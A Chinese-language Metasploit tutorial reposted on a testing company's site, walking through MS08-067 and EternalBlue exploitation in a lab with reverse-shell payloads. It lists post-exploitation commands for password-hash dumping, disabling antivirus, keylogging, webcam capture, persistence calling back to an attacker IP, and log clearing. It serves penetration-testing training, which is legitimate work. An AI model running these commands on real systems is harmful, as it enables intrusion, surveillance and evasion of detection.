• BiaoDoo首页
  • 自主产品
       自主产品
       测试工具
       源码安全/质量测试云平台
       测试用例开发工具
       软件测试态势分析平台
       开源软件安全审计系统
       软件造价
       软件造价概算平台
       运维产品
       应用源码监测系统
       教学实训平台
       软件测试实验室平台
  • Micro Focus产品代理
       Micro Focus产品代理
       Fortify SCA
       Webinspect
       LoadRunner
       ALM/QualityCenter
       MF UFT
       MF Mobile Center
       Diagnostics
  • 其它产品
       其它产品
       AppScan(IBM)
       Klockwork Insight
       Coverity静态分析
       Black Duck--黑鸭软件成分分析
  • 安全产品
       安全产品
       U盾
  • 工程咨询
       工程咨询
       IT规划咨询
       软件造价概算
       软件架构评估
       信息工程监理
       测试体系咨询
  • 软件测试
       软件测试
       工程验收测试
       压力测试与优化
       产品认证测试
       专题测试
       医疗设备软件测试
       摇号软件测试
       科研项目验收
       软件故障诊断
       委托客制测试
       软件登记测试
       科技成果鉴定
       国产软件适配测试
  • 安全测试
       安全测试
       软件安全测试
       源码安全测试
       等级保护测评
       渗透测试
       风险评估
  • 企业服务
       企业服务
       系统保障与救援
       大数据服务
       ICP证书办理
       软件著作权
       首版次申报
  • 教育培训
       教育培训
       ISTQB认证
       软件产品检验员
       软件就业培训
       校企合作
       信息安全培训
  • 认证中心
       认证中心
       软件企业认证
       质量安全体系认证
       高新技术企业认证
       企业能力认证
       节能与绿色评价服务
       其它系统认证
  • 资讯中心
       资讯中心
       最新资讯
       政策法规
       技术方案
  • 开源测试 · 青云渡
       开源测试 · 青云渡
       技术文摘
       BiaoDoo开源
       常用工具
  • 全国网络
       全国网络
  • BiaoDoo
       BiaoDoo
       软件管控领导者
       合作伙伴
       FAQ
       加入我们
       招聘信息
       合作加盟
       联系我们
  • 测试外包
       测试外包
       离岸测试外包
       测试人才外协
  • 一款开源自动化安全漏洞利用和测试工具Metasploit超详细快速入门指南

    Metasploit简介

    The Metasploit Framework的简称。MSF高度模块化,即框架由多个module组成,是全球最受欢迎的工具。

    是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode,并持续保持更新。 metasploit涵盖了渗透测试中全过程,你可以在这个框架下利用现有的Payload进行一系列的渗透测试。1709715464205.jpg

    Metasploit是一款开源的安全漏洞检测工具,同时Metasploit是免费的工具。 Metasploit核心中绝大部分有Rudy实现,一小部分由汇编和C语言实现。

    开源项目地址:github.com/rapid7/metas

    kali中自带Metasploit

    9d9c34b55e9208d14531aecbb1e84d2.png



    Metasploit文件结构与模块

    路径: /usr/share/metasploit-framework/

    • config: MSF环境配置信息,数据库配置信息

    • data:后渗透模块的一些工具及payload,第三方小工具集合,用户字典等数据信息

    • documentation:用户说明文档及开发文档

    • external: MSF的一些基础扩展模块- lib:基础类和第三方模块类

    • modules: MSF系统工具模块

    • plugins:第三方插件接口

    • scripts: MSF的常用后渗透模块,区别于data里的后渗透模块,不需要加post参数和绝对路径,可以直接运行

    • tools:额外的小工具和第三方脚本工具

    • msfconsole: MSF基本命令行,集成了各种功能

    • msfd: MSF服务,非持久性服务- msfdb: MSF数据库

    • msfupdate: MSF更新模块,可以用来更新MSF模块

    • msfrpc: MSF的服务端,非持久性的rpc服务

    • msfrpcd:持久性的MSF本地服务,可以给远程用户提供rpc服务以及其他的http服务,可以通过xml进行数据传输。

    • 1709715499609.jpg

    exploits(渗透攻击/漏洞利用模块)

    • 渗透攻击模块是利用发现的安全漏洞或配置弱点对远程目标进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问的代码组件。流行的渗透攻击技术包括缓冲区溢出、Web应用程序漏洞攻击、用户配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的各种POC验证程序,以及用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码。

    • 渗透攻击模块是Metasploit框架中最核心的功能组件。

    payloads(攻击载荷模块)

    • 攻击载荷是期望目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或者执行特定代码。

    • 攻击载荷模块从最简单的添加用户账号、提供命令行Shell,到基于图形化的VNC界面控制,以及最复杂、具有大量后渗透攻击阶段功能特性的Meterpreter,这使得渗透攻击者可以在选定渗透攻击代码之后,从很多适用的攻击载荷中选取他所中意的模块进行灵活地组装,在渗透攻击后获得他所选择的控制会话类型,这种模块化设计与灵活的组装模式也为渗透攻击者提供了极大的便利。

    auxiliary(辅助模块)

    该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试。

    nops(空指令模块)

    • 空指令(NOP)是一些对程序运行状态不会造成任何实质性影响的空操作或无关操作指令。最典型的空指令就是空操作,在x86 CPU体系架构平台上的操作码是0x90。

    • 在渗透攻击构造邪恶数据缓冲区时,常常要在真正执行的Shellcode之前添加一段空指令区。这样,当触发渗透攻击后跳转执行Shellcode时,就会有一个较大的安全着陆区,从而避免受到内存地址随机化、返回地址计算偏差等原因造成的Shellcode执行失败。

    • Matasploit框架中的空指令模块就是用来在攻击载荷中添加空指令区,以提高攻击可靠性的组件。

    encoders(编译器模块)

    编码器模块通过对攻击载荷进行各种不同形式的编码,完成两大任务: 一是确保攻击载荷中不会出现渗透攻击过程中应加以避免的"坏字符”; 二是对攻击载荷进行“免杀”处理,即逃避反病毒软件、IDS/IPS的检测与阻断。

    post(后渗透攻击模块)

    后渗透攻击模块主要用于在渗透攻击取得目标系统远程控制权之后,在受控系统中进行各式各样的后渗透攻击动作,比如获取敏感信息、进一步横向拓展、 实施跳板攻击等。

    evasion(规避模块)

    规避模块主要用于规避Windows Defender防火墙、Windows应 用程序控制策略(applocker)等的检查。

    Metasploit常用命令

    输入msfconsole进入ms终端,启动Metasploit

    1709715525853.jpg

    Terminal终端下的常用命令

    命令功能
    msfdb initmsf数据库初始化
    msfdb delete删除msf数据库并停止使用
    msfdb start启动msf数据库
    msfdb stop停止msf数据库
    apt install metasploit frameworkmsf更新
    msfvenom多平台攻击载荷生成器
    msf-nasm_ shell将汇编指令转换成为对应的16进制机器码
    msfconsole打开msf终端

    在msf终端下,输入?或help,可查看终端命令集

    1709715571209.jpg

    ** 核心命令(Croe Commands)**

    1709715613439.jpg

    模块命令(Module Commands)


    f090694d9440bb4eeea0f7616491539.png


    数据库后端命令(Database Backend Commands)

    606849c0b6aa87b26bb077a55077d8d.png


    msf终端下的常用命令

    命令功能
    db_ status查看msf数据库连接状态
    db_ nmap调用nmap扫描,并将扫描结果存入数据库
    search搜索含有关键字的模块
    use选择使用- -个模块
    show payload显示该模块支持的payload
    show options显示该模块需要设置的参数
    info查看详细信息
    set使用模块后,设置模块所需要的参数的值(对应使用unset取消设置的值
    back返回.上级状态
    exploit/run两个命令都表示运行攻击模块
    sessions查看当前连接的会话

    缓冲区溢出概述

    关于缓冲区溢出攻击

    • 缓冲区是内存中存放数据的地方。在程序试图将数据放到计算机内存中的某一位置,但没有足够空间时会发生缓冲区溢出。

    • 缓冲区溢出攻击利用编写不够严谨的程序,通过向程序的缓冲区写入超过预定长度的数据,造成缓存的溢出,从而破坏程序的堆栈,导致程序执行流程的改变。

    缓冲区溢出的危害

    • 数量大,分布广泛

    • 漏洞危害等级高

    exploits (渗透攻击/漏洞利用模块)

    • 渗透攻击模块是利用发现的安全漏洞或配置弱点对远程目标进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问的代码组件。

    • 渗透攻击模块包括缓冲区溢出Web应用程序漏洞攻击用户配置错误等多种攻击方法。其中缓冲区溢出攻击方法数量最多,总的来说可分为两大类,即主动溢出被动溢出。主动溢出是针对目标主机的漏洞主动的进行攻击以获得控制权限,被动溢出是针对目标主机被动的监听然后获得相应的操作。

    • exploits模块支持的操作系统类别包括: AIS、 BSDI、 Dialup、 FreeBSD、Hpux、Irix、 Linux、 Netware、 OSX、Solaris、 Unix、 Windows等。 其中Windows的溢出方式数量最多。 /usr/share/metasploit-framework/modules/exploits-

    • 1709715725556.jpg

    利用Metasploit进行渗透测试的一般流程

    • 扫描目标机系统,寻找可用漏洞

    • 选择并配置

    • 个渗透攻击(漏洞利用)模块(exploits)

    • 选择并配置

    • 一个攻击载荷模块(payloads)

    • 选择一种编码技术(encoders),用来绕过杀毒软件的查杀

    • 执行渗透攻击后渗透阶段的操作

    exploit模块应用实例一ms08-067 漏洞利用

    环境准备

    操作机:Kali Linux 2021.1, Metasploit Frameworks 6.0.30 目标机:Windows Server 2003 sp2中文版(含ms08-067漏洞)Windows xp 英文版

    ms08-067(Windows Server服务RPC请求缓冲区溢出漏洞)简介

    此安全更新解决了服务器服务中一个秘密报告的漏洞。 如果用户在受影响的系统上收到特制的RPC请求,则该漏洞可能允许远程执行代码。在Microsoft Windows2000、Windows XP和Windows Server 2003系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码。此漏洞可能用于进行蠕虫攻击。防火墙最佳做法和标准的默认防火墙配置有助于保护网络资源免受从企业外部发起的攻击。

    exploit模块应用实例——ms08-067漏洞利用

    步骤1:对目标机进行漏洞扫描,确认其存在ms08-067漏洞。本例中使用Nmap工具的以下命令对目标进行专项漏洞检测:

    nmap --script smb-vuln-ms08-067.nse 192.168.147.144

    6074717b106a9f6b183301a741ca7dc.png

    ** 步骤2 启动metasploit**

    msfdb init && msfconsole

    ** 步骤3:在msf终端下输入以下命令查找ms08-067相关模块:**

    search ms08-067

    a66a74691064e6031e59a10e17ccd7a.png


    ** 步骤4:use exp**

    1709715776442.jpg

    ** 步骤5:更改相应参数**

    show options    查看可选参数
    set RHOST    设置目标ip
    set payload windows/meterpreter/reverse_tcp    //设置payload

    步骤6:执行攻击

    exploit

    溢出攻击执行成功后,会显示meterpreter的提示符(因为步骤8在设置payload时选择了windows/meterpreter/reverse_tcp )。直接在该提示符下输入shell命令,则可以拿到目标机的shell。

    exploit模块应用实例一ms017-010 漏洞利用

    环境准备

    • 操作机: Kali Linux 2021.1, Metasploit Frameworks 6.0.30- 目标机: Windows 7 (含ms17-010漏洞)

    步骤1:启动Metasploit:

    1709715796854.jpg

    步骤2:在ms终端下输入以下命令查找ms17-010相关模块:


    search ms17-010

    步骤3:分别输入以下命令,使用smb_ ms17. _010模块对目标机进行漏洞检测,确认其存在ms17-010漏洞:

    • use auxiliary/scanner/smb/smb_ ms17_ 010 (也可以use【payload对于序列号】)//使用smb_ ms17_ 010模块- show options //查看该 模块需要设置哪些参数- set RHOST192. 168.40.220 //设 罟目标机的IP地址

    1709715811024.jpg

    步骤4:确认参数设置完毕后,利用以下命令执行漏洞检测:


    run 检测结果为目标机具有ms17-010漏洞(vulnerable)

    1709715824769.jpg

    步骤5:分别输入以下命令,使用ms17_ 010_ eternalblue 模块对目标机的ms17-010漏洞进行利用:


    • use exploit/windows/smb/ms17_ 010_ eternalblue //使用ms17_ 010_ eternalblue模块

    • set RHOST 192.168.40.142 //设置目标机的IP地址

    • set payload windows/x64/meterpreter/reverse_tcp //使用payload: meterpreter/reverse_ tcp

    • set RPORT 445 //设置目标端口

    • set target 0 //设置目标操作系统类型为Windows 7

    • 1709715840378.jpg

    步骤6:确认参数设置完毕后,利用以下命令执行漏洞利用


    run 攻击执行成功后,会显示meterpreter的提示符(因为步骤5在设置payload时选择了windows/x64/meterpreter/reverse_tcp )。直接在该提示符下输入shell命令,则可以拿到目标机的shell.

    1709715856572.jpg

    步骤7: 后渗透阶段


    运行了exploit命令之后,开启了一个reverse TCP监听器来监听本地的 4444 端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。

    运行成功之后,将会看到命令提示符 meterpreter 出现,输入: shell 即可切换到目标主机的windows shell,要想从目标主机shell退出到 meterpreter ,只需输入:exit

    要想从 meterpreter 退出到MSF框架,输入:background

    输入 sessions -l 查看获得的shell

    输入 sessions -i 1 即可切换到id为1的shell

    1709715869305.jpg


    Post后渗透模块

    在meterpreter > 中可以使用以下的命令来实现对目标的操作

    sysinfo             #查看目标主机系统信息
    run scraper         #查看目标主机详细信息
    run hashdump        #导出密码的哈希
    load kiwi           #加载
    ps                  #查看目标主机进程信息
    pwd                 #查看目标当前目录(windows)
    getlwd              #查看目标当前目录(Linux)
    search -f *.jsp -d e:\                #搜索E盘中所有以.jsp为后缀的文件
    download  e:\test.txt  /root          #将目标机的e:\test.txt文件下载到/root目录下
    upload    /root/test.txt d:\test      #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid              #查看当前Meterpreter Shell的进程
    PIDmigrate 1384     #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
    idletime            #查看主机运行时间
    getuid              #查看获取的当前权限
    getsystem           #提权
    run  killav         #关闭杀毒软件
    screenshot          #截图
    webcam_list         #查看目标主机的摄像头
    webcam_snap         #拍照
    webcam_stream       #开视频
    execute  参数  -f 可执行文件   #执行可执行程序
    run getgui -u hack -p 123    #创建hack用户,密码为123
    run getgui -e                #开启远程桌面
    keyscan_start                #开启键盘记录功能
    keyscan_dump                 #显示捕捉到的键盘记录信息
    keyscan_stop                 #停止键盘记录功能
    uictl  disable  keyboard     #禁止目标使用键盘
    uictl  enable   keyboard     #允许目标使用键盘
    uictl  disable  mouse        #禁止目标使用鼠标
    uictl  enable   mouse        #允许目标使用鼠标
    load                         #使用扩展库
    run				             #使用扩展库
    run persistence -X -i 5 -p 8888 -r 192.168.10.27        #反弹时间间隔是5s 会自动连接
                                       192.168.27的4444端口,缺点是容易被杀毒软件查杀
    portfwd add -l 3389 -r 192.168.11.13 -p 3389     #将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址
    clearev                       #清除日志

    下面的模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。

    run post/windows/manage/migrate                  #自动进程迁移     
    run post/windows/gather/checkvm                  #查看目标主机是否运行在虚拟机上     
    run post/windows/manage/killav                   #关闭杀毒软件     
    run post/windows/manage/enable_rdp               #开启远程桌面服务     
    run post/windows/manage/autoroute                #查看路由信息     
    run post/windows/gather/enum_logged_on_users     #列举当前登录的用户     
    run post/windows/gather/enum_applications        #列举应用程序     
    run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码     
    run windows/gather/smart_hashdump                #dump出所有用户的hash

    关于reverse_ tcp与bind_ _tcp

    reverse_ tcp:攻击机设置一个端口(LPORT) 和IP (LHOST) ,Payload在目标机执行连接攻击机IP的端口,这时如果在攻击机监听该端口会发现目标机已经连接。 victim_ IP:xxxx -> attacker. IP:4444

    bind_ tcp:攻击机设置一个端口(LPORT) ,Payload在目标机执行打开该端口,以便攻击机可以接入。

    attacker_ IP:xXXx -> victim_ IP:4444

    reverse——tcp(目标机主动连接攻击机4444端口)1709716000965.jpg

    bind_tcp(攻击机主动连接目标机4444端口)1709716037591.jpg

    1709716037620.jpg

    关于reverse_ tcp与bind _tcp


    采用reverse的方法一般较为安全, 因为是目标机主动连接攻击机,所以一般不会被防火墙发现。

    而采用bind的方法,攻击机主动连接目标机( 即需要在目标机上打开端口)时很容易被安全软件和防火墙发现。

    auxiliary模块

    auxiliary (辅助模块)

    主要功能:执行扫描嗅探指纹识别等相关功能以辅助渗透测试。 与exploits模块的区别:

    • exploits模块一 般 需要和payloads模块联合使用,通过exploits模块渗透成功后执行payloads模块中的代码。

    • auxiliary模块不需要和payloads模块联合使用。

    /usr/share/metasploit-framework/modules/auxiliary

    1709716083511.jpg

    meterpreter简介

    Metasploit V4之后的新版本中,meterpreter作为后渗透攻击模块的实施通道,可以根据渗透测试目标需求进行灵活扩展。

    涉及范围:信息收集、口令攫取、权限提升、内网拓展等。

    meterpreter的技术优势

    • 平台通用性:提供了各种主流操作系统和平台上的meterpreter版本,包括Windows、Linux、BSD等,并同时支持x86和x64平台,另外还提供基于Java和PHP语言的实现,以应对各种不同环境。

    • 纯内存工作模式:工作时直接装载meterpreter的动态链接库到目标进程空间,而不是先上传到磁盘,再调用loadlibrary加载动态链接库启动。这样启动隐蔽,很难被杀毒软件检测到,也不会在目标主机磁盘留下任何痕迹。

    • 灵活且加密的通信协议:采用TLV (Type Length Value) 数据封装格式;通信数据经过XOR加密,然后调用OpenSSL库进行SSL封装传输,保证传输的保密和隐蔽性。

    • 易于扩展: meterpreter的插件以动态链接库文件的形式存在,可以根据喜好或习惯选择编程语言,并按照meterpreter的接口形式编写所需要的功能,然后编译成动态链接库,拷贝至相应目录即可。

    meterpreter常用命令

    命令功能
    pwd打印当前工作目录
    sysinfo查看系统信息
    getuid获取当前权限的用户id
    ps查看 当前目标机上运行的进程列表和pid
    getsystem获取system权限
    screenshot截取目标主机当前屏幕
    hashdump获取用户名与hash口令
    shell获取目标主机shell
    upload上传一一个文件
    execute执行目标系统中的文件(-f指定文件,-i执行可交互模式,-H隐藏窗口)
    clearev清除日志
    background将meterpreter放入后台(使用sessions -i重新连接到会话)

    metepreter常用命令——pwd、sysinfo、getuid

    1709716105275.jpg

    metepreter常用命令——ps

    1709716121470.jpg

    metepreter常用命令——screenshot

    该命令对目标机进行截屏,并将截屏图片保存至/root目录

    1709716135751.jpg1709716148039.jpg

    metepreter常用命令——hashdump

    1709716160233.jpg

    metepreter常用命令——shell

    非常重要的命令,可获取系统的shell控制台

    1709716171298.jpg

    meterpreter常用命令——upload

    a26018ee497e72641d14b769e943a31.png1709716208726.jpg

    meterpreter常用命令——download

    1709716247130.jpg1709716262377.jpg

    meterpreter常用命令——execut

    a8f8d5f2509762fb5fc23c35046a4bd.png
    f4a701e20b8c7669f8ca146acf6600e.png


    meterpreter常用命令——clearev

    1709716423166.jpg

    meterpreter常用命令——background

    1709716433727.jpg

    meterpreter脚本

    • 默认存放路径: /usr/share/metasploit-framework/scripts/meterpreter/

    • 使用方法: run [ 脚本名称]1709716445405.jpg

      meterpreter脚本使用——vnc

    该脚本可以往目标机上传一个vnc agent,用以查看目标机的屏幕1709716457655.jpg

    1709716468484.jpg

    meterpreter脚本使用——arp_scanner

    该脚本可以检测所在局域网中的存活主机。

    1709716481423.jpg

    meterpreter脚本使用一一scraper

    该脚本可以列举目标系统信息,包括攫取用户名和密码、下载全部注册表、挖掘密码hash值、输出HKEY_ CURRENT_ USER (HKCU)等。

    1709716492642.jpg

    meterpreter脚本使用一一persistence

    该脚本允许在目标机注入meterpreter代理,以确保系统重启之后meterpreter还能运行。

    meterpreter脚本的发展趋势

    • 在以前,meterpreter 脚本使用自己的格式,与Metasploit其它模块的区别很大。- 随着Metasploit版本的演进,meterpreter 脚本正在被慢慢转化为后渗透模块(post),最终将和Metasploit模块(即exploits、auxiliary、 post等)使用统一-的标准和格式。- 模块间统一-格式的优点是 可以在所有会话间实施相同的攻击。

    meterpreter脚本使用一一post/windows/manage/enable_rdp

    该脚本用于开启目标机的远程桌面服务,使用前需要先运行getsystem命令获取系统权限。

    1709716503013.jpg

    开启远程桌面成功后,可以在kali终端使用“rdesktop 目标IP”远程连接目标机

    1709716513752.jpg

    meterpreter脚本使用一一post/windows/manage/migrate

    重要的脚本,可以将meterpreter会话迁移到内存空间中的其它稳定的、不会被关闭的服务进程中,以维持稳定的系统控制连接。

    1709716529463.jpg

    1709716538866.jpg

    本文由 mdnice 多平台发布